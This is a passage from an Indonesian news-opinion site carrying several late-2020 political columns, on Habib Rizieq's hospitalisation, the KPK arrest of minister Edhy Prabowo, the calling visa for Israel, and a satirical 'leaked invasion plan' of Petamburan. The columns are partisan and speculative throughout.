untuk kita semua – pengurus MUI, para ulama, dan pimpinan Organisasi Islam lainnya -- ingatlah pesan Imam al-Ghazali dalam Kitab Ihya’ Ulumiddin: “Rakyat rusak karena penguasa rusak. Penguasa rusak karena ulama rusak. Ulama rusak karena cinta harta dan kedudukan!” Penulis adalah Ketua Dewan Da'wah Islamiyah Indonesia (DDII)

Walikota Bogor Realisasikan Dendam Kesumat Terhadap Habib Rizieq

by Asyari Usman Medan FNN - Minggu (29/11). Dalam dua hari ini, Walikota Bogor Bima Arya Sugiarto kasak-kusuk mendatangi RS Ummi Bogor. Dia kejar betul apa yang terjadi dengan Habib Rizieq Syihab (HRS) yang dirawat di situ. Bima fokus sekali mengurus perawatan HRS di RS swasta itu. Dia ingin memastikan apakah HRS positif Covid atau tidak. Bahkan, ada kesan bahwa dia tidak hanya ingin memastikan positif atau tidak. Kelihatannya lebih dari itu. Cara dia mencecar kondisi Habib itu menunjukkan seakan dia ingin sekali agar Imam Besar itu positif Covid. Luar biasa sekali Bima Arya. RS Ummi sudah menjelaskan bahwa Habib cuma kepenatan. Terlalu capek. Kata pihak RS, dari pemantauan yang dilakukan belum ada pertanda kondisi HRS mengarah ke positif Covid-19. Habib telah diperika tim dari Mer-C. Beliau tidak dinyatakan positif Corona. Tapi, Bima Arya kelihatan tak percaya. Dia minta agar tes swab HRS diulang. Tidak hanya HRS, dia juga minta agar keluarga Habib pun dites ulang. Mungkin saja ada kekeliruan soal pelaksanaan tes swab itu. Tim dari Mer-C mendatangi Habib di RS Ummi. Tapi, tidaklah perlu sekali Bima Arya mengejar-ngejar sampai menimbulkan kehebohan. Terkesan dia ingin sekali memaparkan semuanya tentang HRS yang dirawat di RS Ummi. Kehadiran tim medis Mer-C ke RS Ummi untuk menangani HRS menjadi persoalan besar bagi Bima. Memang ada kesalahan kecil. Sebaiknya pemeriksaan Habib oleh tim luar melibatkan Dinkes setempat karena yang dilakukan adalah tes swab. Tapi, tidaklah mungkin tim Mer-C yang selalu profesional itu akan melakukan pelanggaran berat. Artinya, kedatangan tim itu tidak perlu diperlakukan sebagai kesalahan fatal. Tentu ada alasan kuat HRS meminta pemeriksaan dilakukan tim medis dari luar. Betul, ada isu prosedural. Tapi, bukan sesuatu yang tak bisa dikompromikan. Kalau dilihat cara Bima ‘memainkan’ soal keberadaan Habib di RS Ummi, pantas diduga bahwa dia sedang melaksanakan ‘penugasan khusus’ dari para penguasa yang lebih tinggi. Hampir pasti ada tekanan dan kontrol dari atas agar HRS segera diumumkan positif Covid. Habib sendiri tidak ingin hasil tes swabnya diumumkan ke publik. Tidak ada masalah dengan sikap itu. Tidak ada kewajiban seorang pasien mengumumkan hasil tes Covid. Tapi, Bima Arya menekan lebih keras. Sekarang dia, melalui Satgas Covid-19 Bogor, melaporkan RS Ummi ke Kepolisian. Dengan tuduhan menghalang-halangi prosedur penanganan Covid terhadap HRS. Saking bersemangatnya Bima menjalankan tugas, sampai-sampai dia sendiri yang terjun mengurusi HRS, siang-malam. Dia tidak mendelegasikan tugas investigasi kepada bawahan seniornya. Entah hadiah apa yang sedang diperjuangkan Pak Wali. Kalau bukan ingin merebut hadiah, maka satu-satunya dugaan lain adalah bahwa Pak Wali sedang merealisasikan dendam kesumat terhadap Habib Rizieq Syihab. Hanya ada dua kemungkinan: hadiah atau dendam kesumat. Bisa juga kedua-duanya.[] (Penulis wartawan senior FNN.co.id)

Menhan Prabowo Menolak Mundur?

by Hersubeno Arief Jakarta FNN - Sabtu (28/11). Setelah berhari-hari diam dalam sunyi, DPP Partai Gerindra akhirnya menyampaikan pernyataan resmi soal penangkapan kadernya, Menteri KKP Edhy Prabowo. Respon itu sangat terlambat. Lebih dari 3 X 24 jam. Edhy Prabowo ditangkap di Terminal 3 Bandara, Soetta, Cengkareng Rabu dinihari (25/11) pukul 00.30 Wib. Sementara pernyataan resmi partai baru Jumat petang (28/11). Dari sisi komunikasi politik, kerusakan sudah terjadi. The damage has been done. Berita di media massa sangat massif. Umumnya menuntut agar Prabowo segera memberi penjelasan. Di media sosial lebih sadis lagi. Meme, potongan video, maupun arsip berita lama tentang Prabowo, bermunculan bagai air bah. Image yang lekat dalam ingatan publik, Prabowo adalah figur yang sangat anti korupsi. Jejak digitalnya mudah dicari. Tinggal di recall, ingatan publik segera kembali. Jadi jangan kaget kalau muncul potongan video, atau link berita: ”Korupsi di Indonesia Sudah Stadium Empat!” “Prabowo Akan Masukkan Sendiri ke Penjara kader Gerindra yang korupsi.” Dan yang lebih sensasional adalah janji Prabowo akan mengejar koruptor sampai ke Antartika! Ketika muncul kasus Edhy, orang kepercayaannya kena Operasi Tangkap Tangan (OTT) KPK, wajar bila ekspektasi publik terhadap Prabowo sangat tinggi. Publik menuntut janji Prabowo. Untuk kasus-kasus semacam ini, harusnya cepat dilakukan mitigasi. Bahkan harus ada semacam manual book, buku panduan jika terjadi hal-hal semacam ini. Sehingga tidak ada kesan partai tergagap-gagap. Politisi, apalagi yang menjadi pejabat publik ditangkap karena menerima suap atau korupsi, bukankah sudah jamak? Harus ada antisipasi jauh-jauh hari. Benar bahwa Ketua Harian Sufmi Dasco Ahmad sudah memberi keterangan media. Namun sifatnya hanya normatif, bahwa Prabowo sudah mendengar informasi penangkapan Edhy. Pilihan “hanya” Sekjen yang menyampaikan penjelasan, secara komunikasi politik sudah benar. Penangkapan pejabat sekelas menteri, setelah KPK sekian lama mati suri, harus disikapi dengan hati-hati. Ada nuansa pertarungan politik tingkat tinggi, yang harus dihitung dengan cermat dan infonya harus akurat. Bila Sekjen salah menyikapi, maka kesalahannya masih bisa diperbaiki oleh ketua harian. Prabowo bisa berperan sebagai last resort jika di level bawahnya terjadi kesalahan. Contohnya pada kasus klaim bahwa Prabowo berperan dalam kepulangan Imam Besar FPI Habib Rizieq Shihab. Isu ini sangat sensitif bila dikaitkan dengan posisi Gerindra sebagai partai pendukung pemerintah. Ketua Harian Sufmi Dasco Ahmad kala itu langsung menyampaikan ralat. Dia menyalahkan media dan menyebutnya sebagai “isu liar.” Prabowo tetap bertahan Bila kita cermati, pernyataan sikap yang dibacakan Muzani benar-benar dipersiapkan secara matang dan hati-hati. Bersifat standar dan terbuka. Hal itu menunjukkan Gerindra masih mempelajari segala sesuatunya dan mengantisipasi kemungkinan-kemungkinan lain yang bisa saja terjadi. Misalnya Muzani menyatakan percaya kepada KPK akan bersifat transparan. Meminta agar publik mengedepankan praduga tak bersalah. Gerindra juga minta maaf kepada Jokowi, Ma’ruf Amin, dan anggota kabinet. Mereka juga percaya bahwa pelayanan publik, proses pembangunan akan terus berjalan. Pada bagian akhir Muzani meminta maaf kepada masyarakat dan meminta agar kader solid. Tidak ada respon yang emosional, apalagi menyalahkan pihak lain. Begitu juga soal desakan agar Prabowo mundur, tidak ditanggapi. Dari pernyataan Muzani dapat disimpulkan, Gerindra menyampaikan pesan. Mereka akan tetap bertahan di pemerintahan. Prabowo juga menolak mundur. Namun bila kita cermati, ada yang tidak terucapkan. Prabowo masih bersikap wait and see. Menunggu langkah Jokowi berikutnya. Keputusan politik Gerindra sangat tergantung dengan sikap dan keputusan politik Jokowi. Sejauh ini Jokowi hanya memberi penjelasan pendek ke media, bahwa dia percaya KPK bertindak transparan. Jokowi juga minta publik menghormati proses hukum. Langkah Jokowi berikutnya adalah menunjuk orang kepercayaannya Menko Marinvest Luhut Panjaitan, sebagai Menteri KKP ad interim. Kebetulan kementerian yang dipimpin Edhy berada di bawah koordinasi Luhut. Tak lama setelah ditunjuk Jokowi, Luhut langung beraksi. Dia minta KPK tidak berlebihan dalam bertindak. Dia juga mengatakan, Edhy orang baik, dan kebijakannya benar. Terkesan Luhut pasang badan. Yang lebih menggembirakan, dia menyatakan tak ingin lama-lama memegang posisi Menteri KKP. Pekerjaannya sendiri sudah berjibun. Bagaimana sikap Jokowi selanjutnya? Apakah posisi yang ditinggalkan Edhy akan diserahkan ke partai lain, diserahkan ke profesional? Atau tetap diserahkan ke Gerindra? Sikap Jokowi akan menentukan langkah lebih lanjut Prabowo. Bila dikurangi jatahnya, sangat mungkin dia mengambil langkah drastis. Termasuk opsi mundur. Keputusan mempertahankan jatah kursi Gerindra, sebagaimana sama-sama kita pahami, tidak hanya semata berada di tangan Jokowi. Dia harus mendengarkan, bahkan menjalankan apa yang diinginkan oleh Ketua Umum PDIP Megawati. Bagaimanapun PDIP adalah pemegang saham terbesar pemerintahan Jokowi. Mereka punya hak veto. Bagaimana Megawati memandang Prabowo, setelah sekian lama bersama di pemerintahan? Apakah tetap melihat Gerindra terutama Prabowo sebagai sekutu potensial 2024, atau tidak? Bila tidak, atau malah dianggap potensial bakal menjadi lawan, ya diamputasi. Kalau itu terjadi, maka dinamika politik akan sangat menarik. Karena itu lah mengapa Prabowo sampai sekarang masih terus diam. Dia mengamati dengan cermat dinamika yang berkembang. Harap dicatat, penangkapan Edhy hanya berselang sekitar dua pekan setelah Prabowo kembali dari kunjungan ke beberapa negara, termasuk AS. Kunjungan Prabowo ke AS ini sangat menarik dan pantas dicermati. Kental dengan kalkulasi politis. Selama 20 tahun terakhir, dia di black list. Tidak bisa masuk ke negeri Paman Sam. Prabowo masuk dalam daftar para jenderal yang dituding melakukan pelanggaran HAM. Sekarang Prabowo bisa melenggang. Berkunjung dan bertemu dengan sejumlah pejabat penting. Mengapa? Kunjungan itu dinilai sukses. Dari Perancis, negara sekutu AS di NATO Prabowo juga mendapat persetujuan untuk membeli pesawat tempur Rafale. Tiba-tiba ketika dia kembali ke Tanah Air mendapat kado spesial, orang kepercayaannya di OTT KPK. Ada apa? End Penulis, wartawan senior FNN.co.id

“Calling Visa” Indonesia untuk Israel, Apa Motif Pemerintah?

by Mochamad Toha Surabaya FNN - Sabtu (28/11). Pesan Bung Karno: “Selama Israel menjajah Palestina, Indonesia tidak akan pernah membuka jalinan persabatan bilateral dengan Israel”. Seharusnya pejabat Pemerintah mencamkan peringatan Presiden RI pertama Ir. Soekarno itu. Tapi, rupanya peringatan Bung Karno itu diabaikan begitu saja. Buktinya, melalui Direktorat Jenderal Imigrasi Kementerian Hukum dan HAM, Pemerintah membuka pelayanan visa elektronik (e-Visa) bagi warga Israel dan 7 negara lainnya dengan subjek calling visa atau layanan visa khusus negara dengan tingkat kerawanan tertentu. Pelayanan telah dibuka mulai Senin (23/11/2020) setelah sempat dihentikan selama pandemi Covid-19. Kepala Bagian Humas dan Umum Ditjen Imigrasi Arvin Gumilang menjelaskan bahwa uji coba pembukaan pelayanan telah dilakukan pada Jumat (20/11/2020) lalu. Selanjutnya para penjamin orang asing dari negara subjek calling visa bisa mengajukan permohonan melalui website www.visa-online.imigrasi.go.id. “Uji coba pelayanan telah kami lakukan sebelumnya dan Senin (23/11) nanti akan kami buka pelayanan e-Visa bagi subjek calling visa untuk tujuan penyatuan keluarga, bisnis, investasi, dan bekerja,” jelas Arvin melalui keterangan tertulis, Selasa (24/11/2020). Seperti dilansir CNNIndonesia.com, Arvin menambahkan, untuk tenaga kerja asing (TKA) bisa mengunggah dokumen permohonan melalui website tka-online.kemnaker.go.id milik Kementerian Tenaga Kerja. Ia menjelaskan, alasan pelayanan calling visa dibuka kembali karena banyak tenaga ahli dan investor yang berasal dari negara-negara calling visa. Selain itu juga untuk mengakomodasi hak-hak kemanusiaan para pasangan kawin campur. Arvin menjabarkan delapan negara calling visa tersebut yakni: 1. Afghanistan; 2. Guinea; 3. Israel; 4. Korea Utara; 5. Kamerun; 6. Liberia; 7. Nigeria; 8. Somalia. Alasan dibukanya kembali pelayanan calling visa ialah karena banyaknya tenaga ahli dan investor yang berasal dari negara-negara calling visa. Layanan khusus ini juga untuk mengakomodasi hak-hak kemanusiaan para pasangan kawin campur. “Negara calling visa adalah negara yang kondisi atau keadaan negaranya dinilai mempunyai tingkat kerawanan tertentu ditinjau dari aspek ideologi, politik, ekonomi, sosial, budaya, pertahanan dan keamanan negara, dan aspek keimigrasian,” ujar Arvin. Arvin mengungkapkan bahwa proses pemeriksaan permohonan e-Visa bagi warga negara subjek calling visa melibatkan tim penilai yang terdiri dari Kemenkumham, Kementerian Dalam Negeri, Kementerian Luar Negeri, Kementerian Tenaga Kerja, Kepolisian, Kejaksaan Agung, Badan Intelijen Negara (BIN), Badan Intelijen Strategis TNI, dan Badan Narkotika Nasional (BNN). “Tim ini akan mengadakan rapat koordinasi untuk menilai apakah seseorang layak atau tidak untuk diberikan visa,” pungkas Arvin. Menilik situasi, waktu, serta alasan dibukanya layanan calling visa ini tentu menarik. Sampai saat ini, praktis Indonesia masih menutup perbatasannya dari kunjungan warga negara asing (WNA). Hal itu sesuai dengan Permenhukham Nomor 11 Tahun 2020 tentang Pelarangan Sementara Orang Asing Masuk Wilayah NKRI, yang kemudian diganti dengan Permenhukham Nomor 26 Tahun 2020 tentang Visa dan Izin Tinggal Dalam Masa Adaptasi Kebiasaan Baru, yang esensinya hampir sama dengan Permenhukham 11/2020. Visa kunjungan dan visa tinggal terbatas yang berlaku saat ini adalah untuk sekali perjalanan yang diberikan dalam rangka: melakukan pekerjaan darurat dan mendesak, melakukan pembicaraan bisnis, melakukan pembelian barang; Uji coba keahlian bagi calon TKA, tenaga bantuan dan dukungan medis dan pangan, dan tergabung dengan alat angkut yang berada di wilayah Indonesia. Ada juga visa tinggal terbatas tidak dalam bekerja, meliputi: melakukan penanaman modal asing, penyatuan keluarga dan wisatawan lanjut usia mancanegara. Selain itu, antara Juli sampai Oktober 2020, Indonesia menyepakati Pengaturan Koridor Perjalanan atau Travel Corridor Arrangement (TCA) dengan 4 negara, yaitu Korea Selatan, Tiongkok, Uni Emirat Arab dan Singapura. Bandar Udara Soekarno-Hatta menjadi salah satu pintu masuk warga dari empat negara tersebut. TCA bertujuan memfasilitasi kemudahan perjalanan khusus bisnis, ekonomi, diplomatik dan dinas. Jadi, kalau payung besar penutupan perbatasan negara untuk perlindungan dari Covid-19 masih diberlakukan, mengapa justru Ditjen Imigrasi secara khusus membuka layanan calling visa untuk delapan negara itu? Alasan tenaga ahli, investor, kawin campur jelas kurang cocok dikenakan ke delapan negara, mengingat kondisi ekonomi dan politik yang sama atau di bawah Indonesia. Kecuali Israel! Konstitusi kita jelas menyebutkan bahwa Kemerdekaan Adalah Hak Segala Bangsa. Atas dasar itulah kita tidak membuka hubungan dengan Israel. Jadi, yang dilakukan Menko Maritim dan Investasi Luhut Binsar Panjaitan ini sudah melanggar UUD negara kita. UUD 1945: Kemerdekaan Adalah Hak Segala Bangsa! Atas dasar itulah kita tidak membuka hubungan dengan Israel. Karena Israel adalah Zionis Penjajah. Dan, yang dijajah adalah Palestina, negara yang bersama negara-negara Liga Arab lainnya mengakui kemerdekaan Negara Indonesia saat masih belum diakui PBB. Rakyat Palestina menyumbangkan kekayaannya untuk membantu biaya perjuangan meraih Kemerdekaan Indonesia yang harus melakukan diplomasi dan propaganda ke banyak negara. Jadi, sekali lagi, yang dilakukan Menko Luhut ini sudah melanggar UUD negara kita. Pemberian calling visa untuk Israel diketahui juga tak lama setelah kunjungan Menko Luhut ke Amerika Serikat. Di sana, Menko Luhut yang didampingi Dubes RI untuk AS Muhammad Lutfi, bertemu dengan Presiden Donald J. Trump. Pergerakan Israel yang ingin normalisasi hubungan dengan negara berpenduduk Islam ini makin kencang. Senin (23/11/2020), media Israel, Haaretz melaporkan, PM Israel Benjamin Netanyahu diam-diam terbang ke Arab Saudi dan bertemu dengan Pangeran Mahkota Mohammed bin Salman (MBS) dan Menteri Luar Negeri AS Michael “Mike” Pompeo. Sadar atau tidak disadari Pemerintah Indonesia, yang jelas dampak dari normalisasi tersebut, membuat Israel semakin ganas menghancurkan pemukiman warga Palestina dan membangun pemukiman Yahudi. “Apalagi PM Israel Benjamin Netanyahu pernah mengatakan tidak akan menghentikan upaya mengambil alih tanah-tanah Palestina,” ujar aktivis Muslim Von Edison Alouisci di Ramallah 26 November 2020. Menurutnya, Pemerintah Indonesia jelas langkah keliru, mestinya Israel diisolasi supaya jera, bukannya diberi kemudahan. Pengamat bidang militer dan pertahanan Connie Rahakundini Bakrie mengatakan. Indonesia harus berani membuka hubungan diplomatik dengan Israel. Hal ini merupakan upaya untuk memudahkan Indonesia melakukan diplomasi dalam mewujudkan kemerdekaan Palestina. “Sudah saatnya Indonesia bertindak konkret agar bisa lebih memahami Israel dengan membuka hubungan diplomatik sehingga ada diskusi lebih lanjut,” ujar Connie, Sabtu (26/9/2020). “Pernyataan Connie ini menurut saya adalah analisa keliru,” tegas Edison Alouisci. Mestinya cara Indonesia membantu mewujudkan kemerdekaan Palestina adalah dengan cara diplomasi, bukan membuka hubungan kepada Israel. Senjata Indonesia untuk mengakhiri konflik Palestina-Israel adalah dengan memberi tekanan diplomatik, bukan membuat kerjasama dengan Israel yang terbiasa dengan taktik zionis menekan negara Muslim. “Bagi saya Pemerintah Indonesia justru membuka jalan bagi israel untuk menjalankan misi penghancuran negara Islam, termasuk Indonesia secara terstruktur dan itu akan merugikan Indonesia dan tidak akan berpengaruh bagi kedamaian di Palestina,” lanjutnya. Bagi kita dan relawan Indonesia yang tentu lebih banyak mengetahui perilaku tindakan Israel terhadap Palestina, maka rencana Indonesia melakukan normalisasi dengann Israel, jelas akan melukai rakyat palestine yg telah banyak menelan korban dan kehilangan wilayah. “Yang jelas langkah pemerintah Jokowi (Presiden Jowo Widodo) adalah langkah mundur dan memalukan umat Islam dunia yang berpihak pada Palestina,” tegas Edison Alouisci. “Mas Toha, apakah kita tidak melihat kemungkinan untuk lebih mudah membela hak-hak bangsa Palestina jika kita membuka hubungan diplomatik/berkomunikasi dengan negara Israel?” begitu tanya Bambang Sulistomo, Putra Bung Tomo. Saya mencoba menjawab pertanyaan Mas Bambang tersebut. Sama halnya dengan Rasulullah Muhammad SAW, bangsa Indonesia sudah jelas-jelas menentang dan bahkan mengharamkan adanya penjajahan di muka bumi ini oleh bangsa apa pun. Di dalam sejarahnya, mulai 1948, jelas-jelas zionisme berupaya menduduki tanah Palestina yang baru saja merdeka. Sekarang ini kita justru konsistensi bangsa Indonesia sedang diuji: tetap setia dengan sikap menentang segala jenis penjajahan di muka bumi (sebagaimana disebutkan dan menjadi amanat Pembukaan UUD 1945) atau menyingkirkan amanat para pendiri bangsa Indonesia yang merumuskan konstitusi kita? Dan, yang perlu dicatat lagi: Indonesia juga menganut politik luar negeri yang berasas bebas-aktif. Bebas artinya memihak/tidak memihak blok atau persekutuan negara-negara tertentu. Aktif itu artinya berperan aktif di dalam menjaga perdamaian dunia sesuai dengan amanat Pembukaan UUD 1945. Jadi, karena Israel dianggap sebagai penjajah Palestina, secara otomatis Israel dianggap pula mengganggu perdamaian dunia. Dan, ini jelas-jelas bertentangan dengan sikap politik luar negeri Indonesia tersebut. Penulis wartawan senior FNN.co.id

Bocor, Rencana Invasi Militer RI ke Petamburan

by Asyari Usman Medan FNN - Sabtu (28/11). Di tengah ketegangan politik antara RI dan Petamburan beberapa hari lalu, para ahli strategi perang di Jakarta rupa-rupanya telah menyiapkan rencana komprehensif untuk mengepung wilayah Habib Rizieq Syihab (HRS) itu. Rencana besar ini bocor ke sejumlah wartawan internasional. Rencana invasi militer itu tertera di dalam dokumen yang berjudul “Liberating Petamburan” (Membebaskan Petamburan). Namun, pihak RI mengeluarkan bantahan. Mereka mengatakan dokumen tentang serangan militer terhadap Petamburan itu seratus persen hoax. Meskipun dokumen itu dikatakan hoax, tetapi rencana untuk melumpuhkan basis FPI itu sangat menarik untuk dicermati. Strategi yang sangat canggih dan berbiaya mahal. Menurut dokumen yang bocor itu, Petamburan akan digempur dari laut, darat dan udara. Untuk serangan laut, pihak RI akan membuat semacam “waterways” (sungai besar) yang mengeliling wilayah Petamburan. Kali Ciliwung yang berada di sebelah timur Petamburan akan diperlebar menjadi 600 meter. Kedalamannya akan dikeruk menjadi 150 meter. Sungai lebar ini akan dibuat mengeliling Petamburan. Pelebaran Kali Ciliwung sampai 600 meter dengan kedalaman 150 meter itu diperlukan agar kapal perang RI bisa masuk mendekati wilayah Petamburan. Puluhan kapal perang jenis ‘destroyer’ dan ‘frigate’ disiapkan untuk gempuran laut. Dikerahkan juga sejumlah kapal selam dan kapal penyapu ranjau. Untuk serangan udara, RI berencana membangun dua ‘air strip’ (landasan pacu) baru di Tangerang Barat dan Bekasi Timur. RI akan mengerahkan 60 pesawat tempur jet dari berbagai jenis. Ada F16 dan Sukhoi. Sedangkan sejumlah helikopter Apache yang bisa tinggal landas dan mendarat vertikal akan dikerahkan khusus untuk mencopot baliho HRS. Disebutkan, serangan udara akan berlangsung tanpa batas waktu. Selain itu, negara sahabat dari Utara akan meminjamkan 40 jet jarak jauh yang ‘fully loaded’ dengan rudal udara ke darat. Kalau belum memadai, RI akan meminta bantuan negara sahabat dari Utara untuk meminjamkan kapal induk yang membawa 40 jet tempur. Kapal induk akan masuk ke Petamburan melalui “waterways” yang mengelilingi wilayah kecamatan itu. Untuk serangan darat, RI akan mengerahkan sekitar 70 tank, puluhan artileri, dan berbagai kendaraan lapis baja. Puluhan ribu tentara dari berbagai kesatuan akan dikerahkan. Inilah poin-poin penting yang tertera di dokumen rahasia tentang rencana penyerbuan Petamburan. Alhamdulillah, ketegangan politik antara RI dan Petamburan telah mereda. Serangan militer besar-besaran tak jadi dilancarkan. Tensi ketegangan politik menurun setelah Panglima Operasi RI membuka komunikasi dengan Petamburan.[] Penulis wartawan senior FNN.co.id

Duka Yang Mendalam di Koalisi Tetangga

by M Rizal Fadillah Bandung FNN – Jum’at (27/11). Tetangga pada umumnya adalah lingkungan paling dekat untuk berbagi cerita. Bercengkerama, bersenda gurau, hingga bertengkar. Ada suka dan duka dalam bermitra dengan tetangga. Mengisi ruang bangsa dan negara. Istri Nasrudin Hoja kesal pada suaminya sang sufi. Sambil menggerutu meminta Nasrudin agar keluar rumah untuk mencari nafkah. Kemiskinan membuatnya menderita. Keluarlah Hoja bersujud dan berdo'a keras berharap Allah memberi uang kepadanya. Tetangganya melihat dan mendengar Nasrudin yzng berdoa dengan suara keras, segera berfikir untuk segera mempermainkannya. Tetangganya melemparkan seratus keping perak ke atas kepalanya. Nasrudin mengumpulkan uang perak itu dan bergegas masuk ke dalam rumahnya. Tetangganya terkaget-kaget, karena uangnya dibawa Nasrudin. Lalu terjadi pertengkaran antara Nasrudin dengan tetangganya. Nasrudin beralasan uang itu pemberian Allah yang dijatuhkan melalui kepalanya. Sementara tetangganya ngotot bahwa itu adalah uang miliknya. Tetangganya mengusulkan kepada Nasrudin agar masalah ini dibawa ke depan Hakim. Akan tetapi Nasrudin menyatakan tidak punya sorban, pakaian, dan kuda yang bagus untuk pergi ke kota menghadap Hakim. Lalu tetangganya putuskan untuk meminjamkan semua keperluan itu kepada Nasrudin. Demi perjuangan hak dan keadilan. Di depan Hakim, tetangganya mengadukan masalah yang dipersengketakan. Hakim bertanya tentang argumen Nasrudin Hoja atas gugatan tetangganya. Nasrudin menjawab bahwa tetangganya itu gila. Sikapnya selalu menyatakan segala adalah miliknya. Ketika tetangga Nasrudin berteriak "pak Hakim, memang benar uang perak dan sorban, kuda, serta pakaian yang dikenakan Nasrudin adalah milik saya", maka Hakim segera memutuskan. "Saya sudah mengerti". Nasrudin tersenyum. Menang. Hukuman Untuk Pengkhianat Begitulah jika memiliki tetangga koalisi yang gemar bermain-main. Sementara mitra koalisinya adalah politisi cerdik tapi licik, maka kelak panggung pertunjukan kekuasaan hanya menghasilkan kejengkelan dan senyum senyum membatin yang dalam. Bagai peran orang gila di panggung sandiwara. Panggung orang gila yang memimpin negara. Namun lebih dari itu, semua yang terjadi hari pada koalisi tetangga adalah hasil dari buah yang ditanam sendiri. Siapa yang meniup angin akan menuai badai. Setiap prilaku pengkhiatan, akan dilabalas dengan pekhiatan yang lebih keras lagi. Tragisnya, pengkhianatan yang lebih keras itu kemungkinan bisa saja dilakukan oleh koalisi yang bari dibentuk. Apalagi koalisi yang baru terbentuk tersebut, bukan didasarkan pada dasar dan cara pandang terhadap permasalahan sosial kemasyarakan yang sama. Bukan pada mengatasi tata kelola kekuasaan yang kacau-balau, amburadul dan amatiran. Namun koalisi yang dibangun hanya didasarkan pada kalkulasi kepentingan jangka pendek. Perhitungan untung-rugi, mengganti dan kembalinya biaya-biaya yang sudah terlanjur dikeluarkan. Kalkulasi yang betujuan untuk mendapatkan pembagian kue kekuasaan semata dan angka semata. Meskipun untuk mendapatkan itu, harus dilakukan dengan mengkhianati teman seperjuangan yang telah berkorban segala-galanya. Rakyat yang terlanjur berkoran jiwa, darah, harta, keringat dan waktu. Sayangnya, yang didapat adalah kehinanaan semata. Duka yang mendalam. Duku dan luka yang mendalam, sehingga susah untuk bisa melangkah kembali bergabung dengan para pendukung setia dulu. Kini publik (kawan dan lawan) sedang menyaksikan dukanya yang mendalam pada koalisi tetangga. Koalisi yang menjanjikan akan datangnya pelimpahan kekuasaan yang besar pada tahun-tahun mendatang, atau priode berikutnya. Walaupun koalisi tersebut, belum sempat membuahkan hasil pendahuluan sesuai harapan, tetapi duka dan luka itu sudah datang menghampiri. Begitulah cara alam menghukum sebuah pengkhinatan. Semoga menjadi pelajaran berharga untuk yang lain. Amin Penulis adalah Pemerhati Politik dan Kebangsaan.

Gara-gara Benur, Prabowo & Gerindra Babak Belur

by Tony Rosyid Jakarta FNN – Jum’at (27/11). Dua menteri di kabinet Jokowi-Ma’ruf Amin berasal dari Partai Gerindra. Prabowo Subianto sebagai Menteri Pertahanan (Menhan), dan Edhy Prabowo sebagai Menteri Kelautan dan Perikanan (KKP). Nasib malang menimpa kader Partai Gerindra. Edhy Prabowo ditangkap Komisi Pemberantasan Korupsi (KPK) di bandara Soekarno Hatta, Rabu dini hari 25 Nopember 2020, setelah lawatannya ke Amerika. Edhy Prabowo ditangkap KPK terkait kasus ekspor benur lopster. Penyidik senior KPK Novel Baswedan yang memimpin penangkapan tersebut. Apakah ini Operasi Tangkap Tangan (OTT)? Masih tanda tanya. Disebut OTT kalau sedang, akan atau baru saja melakukan tindak pidana koruptif. Mungkinkah Edhy Prabowo cs sedang melakukan tindak pidana korupsi di dalam pesawat atau di bandara? Atau melakukan tindak pidana korupsi di Amerika? Atau saat transit di Jepang? Namun karena masuk wilayah yuridiksi negara lain sehingga untuk penangkapannya harus menunggu sampai di Indonesia dulu? Kalau dugaan terjadinya tindak korupsi tidak di wilayah Amerika. Bukan pula di dalam pesawat atau bandara, apakah masih bisa disebut OTT? Kalau tidak memenuhi unsur OTT, kenapa nggak dikirimkan saja surat pemanggilan lebih dahulu? Pemanggilan sebagai saksi. Setelah dikonfirmasi ini dan itu, meyakinkan ada unsur pidananya, baru dinaikkan jadi tersangka. Kenapa harus langsung ditangkap? Seolah kalau Edhy tidak ditangkap ia akan lari. Dia pejabat tinggi negara lho. Nggak mungkin lari bro. Nah soal salah atau benar proses OTT tersebut, nanti akan dibuktikan di sidang praperadilan. Inipun kalau Edhy mau mengajukan gugatan ke praperadilan. Sudah jatuh ketimpa tangga pula. Begitu pepatah yang bilang. Gerindra nyeberang ke istana, lalu para pendukung berbondong-bondong meninggalkannya. Ditinggalkan atau meninggalkan? Itu bergantung anda di posisi mana? Pendukung Gerindra atau pihak yang kecewa terhadap Prabowo. Oleh sejumlah mantan pendukung, “Prabowo dianggap berkhianat dan pengkhianat kelas berat. Tak tahu berterima kasih. Nyawa, darah, harta dan keringat yang dikorbankan oleh para pendukung saat Pilpres 2019, seolah nggak dihargainya. Goodby! Hubungan Prabowo cq Gerindra putus dengan sejumlah pihak yang tadinya mendukung. Naifnya lagi, sesampainya Gerindra di istana, kader terbaik Gerindra dan anak didik terbaik Prabowo ditangkap KPK. Yaitu Edhy Prabowo. Tokoh papan atas yang dikirim Gerindra untuk menjadi Menteri Kelautan dan Perikanan (KKP). Kader terhuebat. Kualat kepada PKS? Dalam nalar politik, tak ada ruang untuk analisis mistis. Istilah karna hanya ada di dalam diskusi agama. Nasib sial. Mungkin kalimat ini lebih mewakili. Tertangkapnya Edhy Prabowo tentu punya risiko politik. Pertama, partai Gerindra jatuh di mata publik. Elektabilitas Gerindra terancam turun. Bahkan bisa terjun bebas. Kondisi ini mungkin bisa berpengaruh terhadap kader-kader Gerindra yang sedang menjadi calon kepala daerah. "Ah, nggak mau nyoblos calon dari partai korupsi". Narasi ini bisa dimainkan oleh rival-rivalnya di pilkada Desember 2020 nanti. Setiap tokoh partai tertangkap KPK. Ada konsekuensi hilangnya sebagian pendukung. Hal ini pernah dialami oleh sejumlah partai diantaranya Demokrat dan PPP. Ketua umum ditangkap, elektabilitas langsung ngedrop. Khususnya PPP di Pileg 2019 kemarin. Megap-megap! Kedua, jika Gerindra tidak cepat dan piawai untuk recovery, ini bisa mengancam rencana Prabowo yang akan maju di Pilpres 2024. Santernya isu Prabowo-Puan Maharani yang digadang-gadang di Pilpres 2024 mendatang bisa berantakan. Bagi Gerindra sendiri, ini tidak masalah. Karena, majunya Prabowo di Pilpres akan menaikkan suara untuk para calon anggota DPR dan DPRD. Soal kalah-menang, itu nomor 12. Bukan soal yang utama. Menang syukur, nggak menang, juga masih untung. Bagitu umumnya para kader dan caleg Gerindra berpikir. Beda dengan PDIP, kalau susah dijual, untuk apa ikut mengusung Prabowo? Adakah ada partai lain yang masih mau mengusung Prabowo? Tanya saja ke PKS dan PAN. Lalu, bagaimana hubungan Gerindra dengan istana? Adakah keterlibatan istana dalam penangkapan Edhy Prabowo? Secara hukum, presiden tak boleh intervensi. Faktanya begitu? Walaupun sulit anda membuktikannya. Kecuali anda nekat dan siap dipenjara. Dari aspek politik, muncul banyak spekulasi. Apakah langkah KPK ini semata-mata iklan? Sejak UU KPK No 19 Tahun 2019 diamandemen DPR, KPK nyaris kehilangan kepercayaan publik. Apalagi baru-baru ini, ketua KPK Firli Bahuri membuat pernyataan salah dan blunder 